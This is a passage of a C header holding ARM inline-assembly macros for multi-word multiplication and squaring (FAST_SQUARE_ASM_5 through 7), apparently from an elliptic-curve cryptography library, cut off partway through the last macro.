790 "adc r9, r9, #0 \n\t" \
791 "umull r10, r11, r4, r7 \n\t" \
792 "adds r12, r12, r10 \n\t" \
793 "adcs r14, r14, r11 \n\t" \
794 "adc r9, r9, #0 \n\t" \
795 "ldr r10, [r0] \n\t" \
796 "adds r12, r12, r10 \n\t" \
797 "adcs r14, r14, #0 \n\t" \
798 "adc r9, r9, #0 \n\t" \
799 "stmia r0!, {r12} \n\t" \
800 \
801 "ldmia r2!, {r7} \n\t" \
802 "mov r10, #0 \n\t" \
803 "umull r11, r12, r5, r7 \n\t" \
804 "adds r14, r14, r11 \n\t" \
805 "adcs r9, r9, r12 \n\t" \
806 "adc r10, r10, #0 \n\t" \
807 "umull r11, r12, r3, r6 \n\t" \
808 "adds r14, r14, r11 \n\t" \
809 "adcs r9, r9, r12 \n\t" \
810 "adc r10, r10, #0 \n\t" \
811 "umull r11, r12, r4, r8 \n\t" \
812 "adds r14, r14, r11 \n\t" \
813 "adcs r9, r9, r12 \n\t" \
814 "adc r10, r10, #0 \n\t" \
815 "ldr r11, [r0] \n\t" \
816 "adds r14, r14, r11 \n\t" \
817 "adcs r9, r9, #0 \n\t" \
818 "adc r10, r10, #0 \n\t" \
819 "stmia r0!, {r14} \n\t" \
820 \
821 "mov r11, #0 \n\t" \
822 "umull r12, r14, r3, r7 \n\t" \
823 "adds r9, r9, r12 \n\t" \
824 "adcs r10, r10, r14 \n\t" \
825 "adc r11, r11, #0 \n\t" \
826 "umull r12, r14, r4, r6 \n\t" \
827 "adds r9, r9, r12 \n\t" \
828 "adcs r10, r10, r14 \n\t" \
829 "adc r11, r11, #0 \n\t" \
830 "stmia r0!, {r9} \n\t" \
831 \
832 "umull r14, r9, r4, r7 \n\t" \
833 "adds r10, r10, r14 \n\t" \
834 "adc r11, r11, r9 \n\t" \
835 "stmia r0!, {r10, r11} \n\t" \
836 \
837 "sub r0, 52 \n\t" \
838 "sub r1, 20 \n\t" \
839 "sub r2, 32 \n\t" \
840 "ldmia r1!, {r3,r4,r5} \n\t" \
841 "ldmia r2!, {r6,r7,r8} \n\t" \
842 \
843 "umull r11, r12, r3, r6 \n\t" \
844 "stmia r0!, {r11} \n\t" \
845 \
846 "mov r10, #0 \n\t" \
847 "umull r11, r9, r3, r7 \n\t" \
848 "adds r12, r12, r11 \n\t" \
849 "adc r9, r9, #0 \n\t" \
850 "umull r11, r14, r4, r6 \n\t" \
851 "adds r12, r12, r11 \n\t" \
852 "adcs r9, r9, r14 \n\t" \
853 "adc r10, r10, #0 \n\t" \
854 "stmia r0!, {r12} \n\t" \
855 \
856 "mov r11, #0 \n\t" \
857 "umull r12, r14, r3, r8 \n\t" \
858 "adds r9, r9, r12 \n\t" \
859 "adcs r10, r10, r14 \n\t" \
860 "adc r11, r11, #0 \n\t" \
861 "umull r12, r14, r4, r7 \n\t" \
862 "adds r9, r9, r12 \n\t" \
863 "adcs r10, r10, r14 \n\t" \
864 "adc r11, r11, #0 \n\t" \
865 "umull r12, r14, r5, r6 \n\t" \
866 "adds r9, r9, r12 \n\t" \
867 "adcs r10, r10, r14 \n\t" \
868 "adc r11, r11, #0 \n\t" \
869 "stmia r0!, {r9} \n\t" \
870 \
871 "ldmia r1!, {r3} \n\t" \
872 "mov r12, #0 \n\t" \
873 "umull r14, r9, r4, r8 \n\t" \
874 "adds r10, r10, r14 \n\t" \
875 "adcs r11, r11, r9 \n\t" \
876 "adc r12, r12, #0 \n\t" \
877 "umull r14, r9, r5, r7 \n\t" \
878 "adds r10, r10, r14 \n\t" \
879 "adcs r11, r11, r9 \n\t" \
880 "adc r12, r12, #0 \n\t" \
881 "umull r14, r9, r3, r6 \n\t" \
882 "adds r10, r10, r14 \n\t" \
883 "adcs r11, r11, r9 \n\t" \
884 "adc r12, r12, #0 \n\t" \
885 "ldr r14, [r0] \n\t" \
886 "adds r10, r10, r14 \n\t" \
887 "adcs r11, r11, #0 \n\t" \
888 "adc r12, r12, #0 \n\t" \
889 "stmia r0!, {r10} \n\t" \
890 \
891 "ldmia r1!, {r4} \n\t" \
892 "mov r14, #0 \n\t" \
893 "umull r9, r10, r5, r8 \n\t" \
894 "adds r11, r11, r9 \n\t" \
895 "adcs r12, r12, r10 \n\t" \
896 "adc r14, r14, #0 \n\t" \
897 "umull r9, r10, r3, r7 \n\t" \
898 "adds r11, r11, r9 \n\t" \
899 "adcs r12, r12, r10 \n\t" \
900 "adc r14, r14, #0 \n\t" \
901 "umull r9, r10, r4, r6 \n\t" \
902 "adds r11, r11, r9 \n\t" \
903 "adcs r12, r12, r10 \n\t" \
904 "adc r14, r14, #0 \n\t" \
905 "ldr r9, [r0] \n\t" \
906 "adds r11, r11, r9 \n\t" \
907 "adcs r12, r12, #0 \n\t" \
908 "adc r14, r14, #0 \n\t" \
909 "stmia r0!, {r11} \n\t" \
910 \
911 "ldmia r1!, {r5} \n\t" \
912 "mov r9, #0 \n\t" \
913 "umull r10, r11, r3, r8 \n\t" \
914 "adds r12, r12, r10 \n\t" \
915 "adcs r14, r14, r11 \n\t" \
916 "adc r9, r9, #0 \n\t" \
917 "umull r10, r11, r4, r7 \n\t" \
918 "adds r12, r12, r10 \n\t" \
919 "adcs r14, r14, r11 \n\t" \
920 "adc r9, r9, #0 \n\t" \
921 "umull r10, r11, r5, r6 \n\t" \
922 "adds r12, r12, r10 \n\t" \
923 "adcs r14, r14, r11 \n\t" \
924 "adc r9, r9, #0 \n\t" \
925 "ldr r10, [r0] \n\t" \
926 "adds r12, r12, r10 \n\t" \
927 "adcs r14, r14, #0 \n\t" \
928 "adc r9, r9, #0 \n\t" \
929 "stmia r0!, {r12} \n\t" \
930 \
931 "ldmia r1!, {r3} \n\t" \
932 "mov r10, #0 \n\t" \
933 "umull r11, r12, r4, r8 \n\t" \
934 "adds r14, r14, r11 \n\t" \
935 "adcs r9, r9, r12 \n\t" \
936 "adc r10, r10, #0 \n\t" \
937 "umull r11, r12, r5, r7 \n\t" \
938 "adds r14, r14, r11 \n\t" \
939 "adcs r9, r9, r12 \n\t" \
940 "adc r10, r10, #0 \n\t" \
941 "umull r11, r12, r3, r6 \n\t" \
942 "adds r14, r14, r11 \n\t" \
943 "adcs r9, r9, r12 \n\t" \
944 "adc r10, r10, #0 \n\t" \
945 "ldr r11, [r0] \n\t" \
946 "adds r14, r14, r11 \n\t" \
947 "adcs r9, r9, #0 \n\t" \
948 "adc r10, r10, #0 \n\t" \
949 "stmia r0!, {r14} \n\t" \
950 \
951 "ldmia r1!, {r4} \n\t" \
952 "mov r11, #0 \n\t" \
953 "umull r12, r14, r5, r8 \n\t" \
954 "adds r9, r9, r12 \n\t" \
955 "adcs r10, r10, r14 \n\t" \
956 "adc r11, r11, #0 \n\t" \
957 "umull r12, r14, r3, r7 \n\t" \
958 "adds r9, r9, r12 \n\t" \
959 "adcs r10, r10, r14 \n\t" \
960 "adc r11, r11, #0 \n\t" \
961 "umull r12, r14, r4, r6 \n\t" \
962 "adds r9, r9, r12 \n\t" \
963 "adcs r10, r10, r14 \n\t" \
964 "adc r11, r11, #0 \n\t" \
965 "ldr r12, [r0] \n\t" \
966 "adds r9, r9, r12 \n\t" \
967 "adcs r10, r10, #0 \n\t" \
968 "adc r11, r11, #0 \n\t" \
969 "stmia r0!, {r9} \n\t" \
970 \
971 "ldmia r2!, {r6} \n\t" \
972 "mov r12, #0 \n\t" \
973 "umull r14, r9, r5, r6 \n\t" \
974 "adds r10, r10, r14 \n\t" \
975 "adcs r11, r11, r9 \n\t" \
976 "adc r12, r12, #0 \n\t" \
977 "umull r14, r9, r3, r8 \n\t" \
978 "adds r10, r10, r14 \n\t" \
979 "adcs r11, r11, r9 \n\t" \
980 "adc r12, r12, #0 \n\t" \
981 "umull r14, r9, r4, r7 \n\t" \
982 "adds r10, r10, r14 \n\t" \
983 "adcs r11, r11, r9 \n\t" \
984 "adc r12, r12, #0 \n\t" \
985 "ldr r14, [r0] \n\t" \
986 "adds r10, r10, r14 \n\t" \
987 "adcs r11, r11, #0 \n\t" \
988 "adc r12, r12, #0 \n\t" \
989 "stmia r0!, {r10} \n\t" \
990 \
991 "ldmia r2!, {r7} \n\t" \
992 "mov r14, #0 \n\t" \
993 "umull r9, r10, r5, r7 \n\t" \
994 "adds r11, r11, r9 \n\t" \
995 "adcs r12, r12, r10 \n\t" \
996 "adc r14, r14, #0 \n\t" \
997 "umull r9, r10, r3, r6 \n\t" \
998 "adds r11, r11, r9 \n\t" \
999 "adcs r12, r12, r10 \n\t" \
1000 "adc r14, r14, #0 \n\t" \
1001 "umull r9, r10, r4, r8 \n\t" \
1002 "adds r11, r11, r9 \n\t" \
1003 "adcs r12, r12, r10 \n\t" \
1004 "adc r14, r14, #0 \n\t" \
1005 "ldr r9, [r0] \n\t" \
1006 "adds r11, r11, r9 \n\t" \
1007 "adcs r12, r12, #0 \n\t" \
1008 "adc r14, r14, #0 \n\t" \
1009 "stmia r0!, {r11} \n\t" \
1010 \
1011 "ldmia r2!, {r8} \n\t" \
1012 "mov r9, #0 \n\t" \
1013 "umull r10, r11, r5, r8 \n\t" \
1014 "adds r12, r12, r10 \n\t" \
1015 "adcs r14, r14, r11 \n\t" \
1016 "adc r9, r9, #0 \n\t" \
1017 "umull r10, r11, r3, r7 \n\t" \
1018 "adds r12, r12, r10 \n\t" \
1019 "adcs r14, r14, r11 \n\t" \
1020 "adc r9, r9, #0 \n\t" \
1021 "umull r10, r11, r4, r6 \n\t" \
1022 "adds r12, r12, r10 \n\t" \
1023 "adcs r14, r14, r11 \n\t" \
1024 "adc r9, r9, #0 \n\t" \
1025 "ldr r10, [r0] \n\t" \
1026 "adds r12, r12, r10 \n\t" \
1027 "adcs r14, r14, #0 \n\t" \
1028 "adc r9, r9, #0 \n\t" \
1029 "stmia r0!, {r12} \n\t" \
1030 \
1031 "ldmia r2!, {r6} \n\t" \
1032 "mov r10, #0 \n\t" \
1033 "umull r11, r12, r5, r6 \n\t" \
1034 "adds r14, r14, r11 \n\t" \
1035 "adcs r9, r9, r12 \n\t" \
1036 "adc r10, r10, #0 \n\t" \
1037 "umull r11, r12, r3, r8 \n\t" \
1038 "adds r14, r14, r11 \n\t" \
1039 "adcs r9, r9, r12 \n\t" \
1040 "adc r10, r10, #0 \n\t" \
1041 "umull r11, r12, r4, r7 \n\t" \
1042 "adds r14, r14, r11 \n\t" \
1043 "adcs r9, r9, r12 \n\t" \
1044 "adc r10, r10, #0 \n\t" \
1045 "ldr r11, [r0] \n\t" \
1046 "adds r14, r14, r11 \n\t" \
1047 "adcs r9, r9, #0 \n\t" \
1048 "adc r10, r10, #0 \n\t" \
1049 "stmia r0!, {r14} \n\t" \
1050 \
1051 "ldmia r2!, {r7} \n\t" \
1052 "mov r11, #0 \n\t" \
1053 "umull r12, r14, r5, r7 \n\t" \
1054 "adds r9, r9, r12 \n\t" \
1055 "adcs r10, r10, r14 \n\t" \
1056 "adc r11, r11, #0 \n\t" \
1057 "umull r12, r14, r3, r6 \n\t" \
1058 "adds r9, r9, r12 \n\t" \
1059 "adcs r10, r10, r14 \n\t" \
1060 "adc r11, r11, #0 \n\t" \
1061 "umull r12, r14, r4, r8 \n\t" \
1062 "adds r9, r9, r12 \n\t" \
1063 "adcs r10, r10, r14 \n\t" \
1064 "adc r11, r11, #0 \n\t" \
1065 "ldr r12, [r0] \n\t" \
1066 "adds r9, r9, r12 \n\t" \
1067 "adcs r10, r10, #0 \n\t" \
1068 "adc r11, r11, #0 \n\t" \
1069 "stmia r0!, {r9} \n\t" \
1070 \
1071 "mov r12, #0 \n\t" \
1072 "umull r14, r9, r3, r7 \n\t" \
1073 "adds r10, r10, r14 \n\t" \
1074 "adcs r11, r11, r9 \n\t" \
1075 "adc r12, r12, #0 \n\t" \
1076 "umull r14, r9, r4, r6 \n\t" \
1077 "adds r10, r10, r14 \n\t" \
1078 "adcs r11, r11, r9 \n\t" \
1079 "adc r12, r12, #0 \n\t" \
1080 "stmia r0!, {r10} \n\t" \
1081 \
1082 "umull r9, r10, r4, r7 \n\t" \
1083 "adds r11, r11, r9 \n\t" \
1084 "adc r12, r12, r10 \n\t" \
1085 "stmia r0!, {r11, r12} \n\t"
1086
1087 #define FAST_SQUARE_ASM_5 \
1088 "ldmia r1!, {r2,r3,r4,r5,r6} \n\t" \
1089 \
1090 "umull r11, r12, r2, r2 \n\t" \
1091 "stmia r0!, {r11} \n\t" \
1092 \
1093 "mov r9, #0 \n\t" \
1094 "umull r10, r11, r2, r3 \n\t" \
1095 "adds r12, r12, r10 \n\t" \
1096 "adcs r8, r11, #0 \n\t" \
1097 "adc r9, r9, #0 \n\t" \
1098 "adds r12, r12, r10 \n\t" \
1099 "adcs r8, r8, r11 \n\t" \
1100 "adc r9, r9, #0 \n\t" \
1101 "stmia r0!, {r12} \n\t" \
1102 \
1103 "mov r10, #0 \n\t" \
1104 "umull r11, r12, r2, r4 \n\t" \
1105 "adds r11, r11, r11 \n\t" \
1106 "adcs r12, r12, r12 \n\t" \
1107 "adc r10, r10, #0 \n\t" \
1108 "adds r8, r8, r11 \n\t" \
1109 "adcs r9, r9, r12 \n\t" \
1110 "adc r10, r10, #0 \n\t" \
1111 "umull r11, r12, r3, r3 \n\t" \
1112 "adds r8, r8, r11 \n\t" \
1113 "adcs r9, r9, r12 \n\t" \
1114 "adc r10, r10, #0 \n\t" \
1115 "stmia r0!, {r8} \n\t" \
1116 \
1117 "mov r12, #0 \n\t" \
1118 "umull r8, r11, r2, r5 \n\t" \
1119 "umull r1, r14, r3, r4 \n\t" \
1120 "adds r8, r8, r1 \n\t" \
1121 "adcs r11, r11, r14 \n\t" \
1122 "adc r12, r12, #0 \n\t" \
1123 "adds r8, r8, r8 \n\t" \
1124 "adcs r11, r11, r11 \n\t" \
1125 "adc r12, r12, r12 \n\t" \
1126 "adds r8, r8, r9 \n\t" \
1127 "adcs r11, r11, r10 \n\t" \
1128 "adc r12, r12, #0 \n\t" \
1129 "stmia r0!, {r8} \n\t" \
1130 \
1131 "mov r10, #0 \n\t" \
1132 "umull r8, r9, r2, r6 \n\t" \
1133 "umull r1, r14, r3, r5 \n\t" \
1134 "adds r8, r8, r1 \n\t" \
1135 "adcs r9, r9, r14 \n\t" \
1136 "adc r10, r10, #0 \n\t" \
1137 "adds r8, r8, r8 \n\t" \
1138 "adcs r9, r9, r9 \n\t" \
1139 "adc r10, r10, r10 \n\t" \
1140 "umull r1, r14, r4, r4 \n\t" \
1141 "adds r8, r8, r1 \n\t" \
1142 "adcs r9, r9, r14 \n\t" \
1143 "adc r10, r10, #0 \n\t" \
1144 "adds r8, r8, r11 \n\t" \
1145 "adcs r9, r9, r12 \n\t" \
1146 "adc r10, r10, #0 \n\t" \
1147 "stmia r0!, {r8} \n\t" \
1148 \
1149 "mov r12, #0 \n\t" \
1150 "umull r8, r11, r3, r6 \n\t" \
1151 "umull r1, r14, r4, r5 \n\t" \
1152 "adds r8, r8, r1 \n\t" \
1153 "adcs r11, r11, r14 \n\t" \
1154 "adc r12, r12, #0 \n\t" \
1155 "adds r8, r8, r8 \n\t" \
1156 "adcs r11, r11, r11 \n\t" \
1157 "adc r12, r12, r12 \n\t" \
1158 "adds r8, r8, r9 \n\t" \
1159 "adcs r11, r11, r10 \n\t" \
1160 "adc r12, r12, #0 \n\t" \
1161 "stmia r0!, {r8} \n\t" \
1162 \
1163 "mov r8, #0 \n\t" \
1164 "umull r1, r10, r4, r6 \n\t" \
1165 "adds r1, r1, r1 \n\t" \
1166 "adcs r10, r10, r10 \n\t" \
1167 "adc r8, r8, #0 \n\t" \
1168 "adds r11, r11, r1 \n\t" \
1169 "adcs r12, r12, r10 \n\t" \
1170 "adc r8, r8, #0 \n\t" \
1171 "umull r1, r10, r5, r5 \n\t" \
1172 "adds r11, r11, r1 \n\t" \
1173 "adcs r12, r12, r10 \n\t" \
1174 "adc r8, r8, #0 \n\t" \
1175 "stmia r0!, {r11} \n\t" \
1176 \
1177 "mov r11, #0 \n\t" \
1178 "umull r1, r10, r5, r6 \n\t" \
1179 "adds r1, r1, r1 \n\t" \
1180 "adcs r10, r10, r10 \n\t" \
1181 "adc r11, r11, #0 \n\t" \
1182 "adds r12, r12, r1 \n\t" \
1183 "adcs r8, r8, r10 \n\t" \
1184 "adc r11, r11, #0 \n\t" \
1185 "stmia r0!, {r12} \n\t" \
1186 \
1187 "umull r1, r10, r6, r6 \n\t" \
1188 "adds r8, r8, r1 \n\t" \
1189 "adcs r11, r11, r10 \n\t" \
1190 "stmia r0!, {r8, r11} \n\t"
1191
1192 #define FAST_SQUARE_ASM_6 \
1193 "ldmia r1!, {r2,r3,r4,r5,r6,r7} \n\t" \
1194 \
1195 "umull r11, r12, r2, r2 \n\t" \
1196 "stmia r0!, {r11} \n\t" \
1197 \
1198 "mov r9, #0 \n\t" \
1199 "umull r10, r11, r2, r3 \n\t" \
1200 "adds r12, r12, r10 \n\t" \
1201 "adcs r8, r11, #0 \n\t" \
1202 "adc r9, r9, #0 \n\t" \
1203 "adds r12, r12, r10 \n\t" \
1204 "adcs r8, r8, r11 \n\t" \
1205 "adc r9, r9, #0 \n\t" \
1206 "stmia r0!, {r12} \n\t" \
1207 \
1208 "mov r10, #0 \n\t" \
1209 "umull r11, r12, r2, r4 \n\t" \
1210 "adds r11, r11, r11 \n\t" \
1211 "adcs r12, r12, r12 \n\t" \
1212 "adc r10, r10, #0 \n\t" \
1213 "adds r8, r8, r11 \n\t" \
1214 "adcs r9, r9, r12 \n\t" \
1215 "adc r10, r10, #0 \n\t" \
1216 "umull r11, r12, r3, r3 \n\t" \
1217 "adds r8, r8, r11 \n\t" \
1218 "adcs r9, r9, r12 \n\t" \
1219 "adc r10, r10, #0 \n\t" \
1220 "stmia r0!, {r8} \n\t" \
1221 \
1222 "mov r12, #0 \n\t" \
1223 "umull r8, r11, r2, r5 \n\t" \
1224 "umull r1, r14, r3, r4 \n\t" \
1225 "adds r8, r8, r1 \n\t" \
1226 "adcs r11, r11, r14 \n\t" \
1227 "adc r12, r12, #0 \n\t" \
1228 "adds r8, r8, r8 \n\t" \
1229 "adcs r11, r11, r11 \n\t" \
1230 "adc r12, r12, r12 \n\t" \
1231 "adds r8, r8, r9 \n\t" \
1232 "adcs r11, r11, r10 \n\t" \
1233 "adc r12, r12, #0 \n\t" \
1234 "stmia r0!, {r8} \n\t" \
1235 \
1236 "mov r10, #0 \n\t" \
1237 "umull r8, r9, r2, r6 \n\t" \
1238 "umull r1, r14, r3, r5 \n\t" \
1239 "adds r8, r8, r1 \n\t" \
1240 "adcs r9, r9, r14 \n\t" \
1241 "adc r10, r10, #0 \n\t" \
1242 "adds r8, r8, r8 \n\t" \
1243 "adcs r9, r9, r9 \n\t" \
1244 "adc r10, r10, r10 \n\t" \
1245 "umull r1, r14, r4, r4 \n\t" \
1246 "adds r8, r8, r1 \n\t" \
1247 "adcs r9, r9, r14 \n\t" \
1248 "adc r10, r10, #0 \n\t" \
1249 "adds r8, r8, r11 \n\t" \
1250 "adcs r9, r9, r12 \n\t" \
1251 "adc r10, r10, #0 \n\t" \
1252 "stmia r0!, {r8} \n\t" \
1253 \
1254 "mov r12, #0 \n\t" \
1255 "umull r8, r11, r2, r7 \n\t" \
1256 "umull r1, r14, r3, r6 \n\t" \
1257 "adds r8, r8, r1 \n\t" \
1258 "adcs r11, r11, r14 \n\t" \
1259 "adc r12, r12, #0 \n\t" \
1260 "umull r1, r14, r4, r5 \n\t" \
1261 "adds r8, r8, r1 \n\t" \
1262 "adcs r11, r11, r14 \n\t" \
1263 "adc r12, r12, #0 \n\t" \
1264 "adds r8, r8, r8 \n\t" \
1265 "adcs r11, r11, r11 \n\t" \
1266 "adc r12, r12, r12 \n\t" \
1267 "adds r8, r8, r9 \n\t" \
1268 "adcs r11, r11, r10 \n\t" \
1269 "adc r12, r12, #0 \n\t" \
1270 "stmia r0!, {r8} \n\t" \
1271 \
1272 "mov r10, #0 \n\t" \
1273 "umull r8, r9, r3, r7 \n\t" \
1274 "umull r1, r14, r4, r6 \n\t" \
1275 "adds r8, r8, r1 \n\t" \
1276 "adcs r9, r9, r14 \n\t" \
1277 "adc r10, r10, #0 \n\t" \
1278 "adds r8, r8, r8 \n\t" \
1279 "adcs r9, r9, r9 \n\t" \
1280 "adc r10, r10, r10 \n\t" \
1281 "umull r1, r14, r5, r5 \n\t" \
1282 "adds r8, r8, r1 \n\t" \
1283 "adcs r9, r9, r14 \n\t" \
1284 "adc r10, r10, #0 \n\t" \
1285 "adds r8, r8, r11 \n\t" \
1286 "adcs r9, r9, r12 \n\t" \
1287 "adc r10, r10, #0 \n\t" \
1288 "stmia r0!, {r8} \n\t" \
1289 \
1290 "mov r12, #0 \n\t" \
1291 "umull r8, r11, r4, r7 \n\t" \
1292 "umull r1, r14, r5, r6 \n\t" \
1293 "adds r8, r8, r1 \n\t" \
1294 "adcs r11, r11, r14 \n\t" \
1295 "adc r12, r12, #0 \n\t" \
1296 "adds r8, r8, r8 \n\t" \
1297 "adcs r11, r11, r11 \n\t" \
1298 "adc r12, r12, r12 \n\t" \
1299 "adds r8, r8, r9 \n\t" \
1300 "adcs r11, r11, r10 \n\t" \
1301 "adc r12, r12, #0 \n\t" \
1302 "stmia r0!, {r8} \n\t" \
1303 \
1304 "mov r8, #0 \n\t" \
1305 "umull r1, r10, r5, r7 \n\t" \
1306 "adds r1, r1, r1 \n\t" \
1307 "adcs r10, r10, r10 \n\t" \
1308 "adc r8, r8, #0 \n\t" \
1309 "adds r11, r11, r1 \n\t" \
1310 "adcs r12, r12, r10 \n\t" \
1311 "adc r8, r8, #0 \n\t" \
1312 "umull r1, r10, r6, r6 \n\t" \
1313 "adds r11, r11, r1 \n\t" \
1314 "adcs r12, r12, r10 \n\t" \
1315 "adc r8, r8, #0 \n\t" \
1316 "stmia r0!, {r11} \n\t" \
1317 \
1318 "mov r11, #0 \n\t" \
1319 "umull r1, r10, r6, r7 \n\t" \
1320 "adds r1, r1, r1 \n\t" \
1321 "adcs r10, r10, r10 \n\t" \
1322 "adc r11, r11, #0 \n\t" \
1323 "adds r12, r12, r1 \n\t" \
1324 "adcs r8, r8, r10 \n\t" \
1325 "adc r11, r11, #0 \n\t" \
1326 "stmia r0!, {r12} \n\t" \
1327 \
1328 "umull r1, r10, r7, r7 \n\t" \
1329 "adds r8, r8, r1 \n\t" \
1330 "adcs r11, r11, r10 \n\t" \
1331 "stmia r0!, {r8, r11} \n\t"
1332
1333 #define FAST_SQUARE_ASM_7 \
1334 "ldmia r1!, {r2} \n\t" \
1335 "add r1, 20 \n\t" \
1336 "ldmia r1!, {r5} \n\t" \
1337 "add r0, 24 \n\t" \
1338 "umull r8, r9, r2, r5 \n\t" \
1339 "stmia r0!, {r8, r9} \n\t" \
1340 "sub r0, 32 \n\t" \
1341 "sub r1, 28 \n\t" \
1342 \
1343 "ldmia r1!, {r2, r3, r4, r5, r6, r7} \n\t" \
1344 \
1345 "umull r11, r12, r2, r2 \n\t" \
1346 "stmia r0!, {r11} \n\t" \
1347 \
1348 "mov r9, #0 \n\t" \
1349 "umull r10, r11, r2, r3 \n\t" \
1350 "adds r12, r12, r10 \n\t" \
1351 "adcs r8, r11, #0 \n\t" \
1352 "adc r9, r9, #0 \n\t" \
1353 "adds r12, r12, r10 \n\t" \
1354 "adcs r8, r8, r11 \n\t" \
1355 "adc r9, r9, #0 \n\t" \
1356 "stmia r0!, {r12} \n\t" \
1357 \
1358 "mov r10, #0 \n\t" \
1359 "umull r11, r12, r2, r4 \n\t" \
1360 "adds r11, r11, r11 \n\t" \
1361 "adcs r12, r12, r12 \n\t" \
1362 "adc r10, r10, #0 \n\t" \
1363 "adds r8, r8, r11 \n\t" \
1364 "adcs r9, r9, r12 \n\t" \
1365 "adc r10, r10, #0 \n\t" \
1366 "umull r11, r12, r3, r3 \n\t" \
1367 "adds r8, r8, r11 \n\t" \
1368 "adcs r9, r9, r12 \n\t" \
1369 "adc r10, r10, #0 \n\t" \
1370 "stmia r0!, {r8} \n\t" \
1371 \
1372 "mov r12, #0 \n\t" \
1373 "umull r8, r11, r2, r5 \n\t" \
1374 "mov r14, r11 \n\t" \
1375 "umlal r8, r11, r3, r4 \n\t" \
1376 "cmp r14, r11 \n\t" \
1377 "it hi \n\t" \
1378 "adchi r12, r12, #0 \n\t" \
1379 "adds r8, r8, r8 \n\t" \
1380 "adcs r11, r11, r11 \n\t" \
1381 "adc r12, r12, r12 \n\t" \
1382 "adds r8, r8, r9 \n\t" \
1383 "adcs r11, r11, r10 \n\t" \
1384 "adc r12, r12, #0 \n\t" \
1385 "stmia r0!, {r8} \n\t" \
1386 \
1387 "mov r10, #0 \n\t" \
1388 "umull r8, r9, r2, r6 \n\t" \
1389 "mov r14, r9 \n\t" \
1390 "umlal r8, r9, r3, r5 \n\t" \
1391 "cmp r14, r9 \n\t" \
1392 "it hi \n\t" \
1393 "adchi r10, r10, #0 \n\t" \
1394 "adds r8, r8, r8 \n\t" \
1395 "adcs r9, r9, r9 \n\t" \
1396 "adc r10, r10, r10 \n\t" \
1397 "mov r14, r9 \n\t" \
1398 "umlal r8, r9, r4, r4 \n\t" \
1399 "cmp r14, r9 \n\t" \
1400 "it hi \n\t" \
1401 "adchi r10, r10, #0 \n\t" \
1402 "adds r8, r8, r11 \n\t" \
1403 "adcs r9, r9, r12 \n\t" \
1404 "adc r10, r10, #0 \n\t" \
1405 "stmia r0!, {r8} \n\t" \
1406 \
1407 "mov r12, #0 \n\t" \
1408 "umull r8, r11, r2, r7 \n\t" \
1409 "mov r14, r11 \n\t" \
1410 "umlal r8, r11, r3, r6 \n\t" \
1411 "cmp r14, r11 \n\t" \
1412 "it hi \n\t" \
1413 "adchi r12, r12, #0 \n\t" \
1414 "mov r14, r11 \n\t" \
1415 "umlal r8, r11, r4, r5 \n\t" \
1416 "cmp r14, r11 \n\t" \
1417 "it hi \n\t" \
1418 "adchi r12, r12, #0 \n\t" \
1419 "adds r8, r8, r8 \n\t" \
1420 "adcs r11, r11, r11 \n\t" \
1421 "adc r12, r12, r12 \n\t" \
1422 "adds r8, r8, r9 \n\t" \
1423 "adcs r11, r11, r10 \n\t" \
1424 "adc r12, r12, #0 \n\t" \
1425 "stmia r0!, {r8} \n\t" \
1426 \
1427 "ldmia r1!, {r2} \n\t" \
1428 "mov r10, #0 \n\t" \
1429 "umull r8, r9, r3, r7 \n\t" \
1430 "mov r14, r9 \n\t" \
1431 "umlal r8, r9, r4, r6 \n\t" \
1432 "cmp r14, r9 \n\t" \
1433 "it hi \n\t" \
1434 "adchi r10, r10, #0 \n\t" \
1435 "ldr r14, [r0] \n\t" \
1436 "adds r8, r8, r14 \n\t" \
1437 "adcs r9, r9, #0 \n\t" \
1438 "adc r10, r10, #0 \n\t" \
1439 "adds r8, r8, r8 \n\t" \
1440 "adcs r9, r9, r9 \n\t" \
1441 "adc r10, r10, r10 \n\t" \
1442 "mov r14, r9 \n\t" \
1443 "umlal r8, r9, r5, r5 \n\t" \
1444 "cmp r14, r9 \n\t" \
1445 "it hi \n\t" \
1446 "adchi r10, r10, #0 \n\t" \
1447 "adds r8, r8, r11 \n\t" \
1448 "adcs r9, r9, r12 \n\t" \
1449 "adc r10, r10, #0 \n\t" \
1450 "stmia r0!, {r8} \n\t" \
1451 \
1452 "mov r12, #0 \n\t" \
1453 "umull r8, r11, r3, r2 \n\t" \
1454 "mov r14, r11 \n\t" \
1455 "umlal r8, r11, r4, r7 \n\t" \
1456 "cmp r14, r11 \n\t" \
1457 "it hi \n\t" \
1458 "adchi r12, r12, #0 \n\t" \
1459 "mov r14, r11 \n\t" \
1460 "umlal r8, r11, r5, r6 \n\t" \
1461 "cmp r14, r11 \n\t" \
1462 "it hi \n\t" \
1463 "adchi r12, r12, #0 \n\t" \
1464 "ldr r14, [r0] \n\t" \
1465 "adds r8, r8, r14 \n\t" \
1466 "adcs r11, r11, #0 \n\t" \
1467 "adc r12, r12, #0 \n\t" \
1468 "adds r8, r8, r8 \n\t" \
1469 "adcs r11, r11, r11 \n\t" \
1470 "adc r12, r12, r12 \n\t" \
1471 "adds r8, r8, r9 \n\t" \
1472 "adcs r11, r11, r10 \n\t" \
1473 "adc r12, r12, #0 \n\t" \
1474 "stmia r0!, {r8} \n\t" \
1475 \
1476 "mov r10, #0 \n\t" \
1477 "umull r8, r9, r4, r2 \n\t" \
1478 "mov r14, r9 \n\t" \
1479 "umlal r8, r9, r5, r7 \n\t" \
1480 "cmp r14, r9 \n\t" \
1481 "it hi \n\t" \
1482 "adchi r10, r10, #0 \n\t" \
1483 "adds r8, r8, r8 \n\t" \
1484 "adcs r9, r9, r9 \n\t" \
1485 "adc r10, r10, r10 \n\t" \
1486 "mov r14, r9 \n\t" \
1487 "umlal r8, r9, r6, r6 \n\t" \
1488 "cmp r14, r9 \n\t" \
1489 "it hi \n\t" \
1490 "adchi r10, r10, #0 \n\t" \
1491 "adds r8, r8, r11 \n\t" \
1492 "adcs r9, r9, r12 \n\t" \
1493 "adc r10, r10, #0 \n\t" \
1494 "stmia r0!, {r8} \n\t" \
1495 \
1496 "mov r12, #0 \n\t" \
1497 "umull r8, r11, r5, r2 \n\t" \
1498 "mov r14, r11 \n\t" \
1499 "umlal r8, r11, r6, r7 \n\t" \
1500 "cmp r14, r11 \n\t" \
1501 "it hi \n\t" \
1502 "adchi r12, r12, #0 \n\t" \
1503 "adds r8, r8, r8 \n\t" \
1504 "adcs r11, r11, r11 \n\t" \
1505 "adc r12, r12, r12 \n\t" \
1506 "adds r8, r8, r9 \n\t" \
1507 "adcs r11, r11, r10 \n\t" \
1508 "adc r12, r12, #0 \n\t" \
1509 "stmia r0!, {r8} \n\t" \
1510 \
1511 "mov r8, #0 \n\t" \
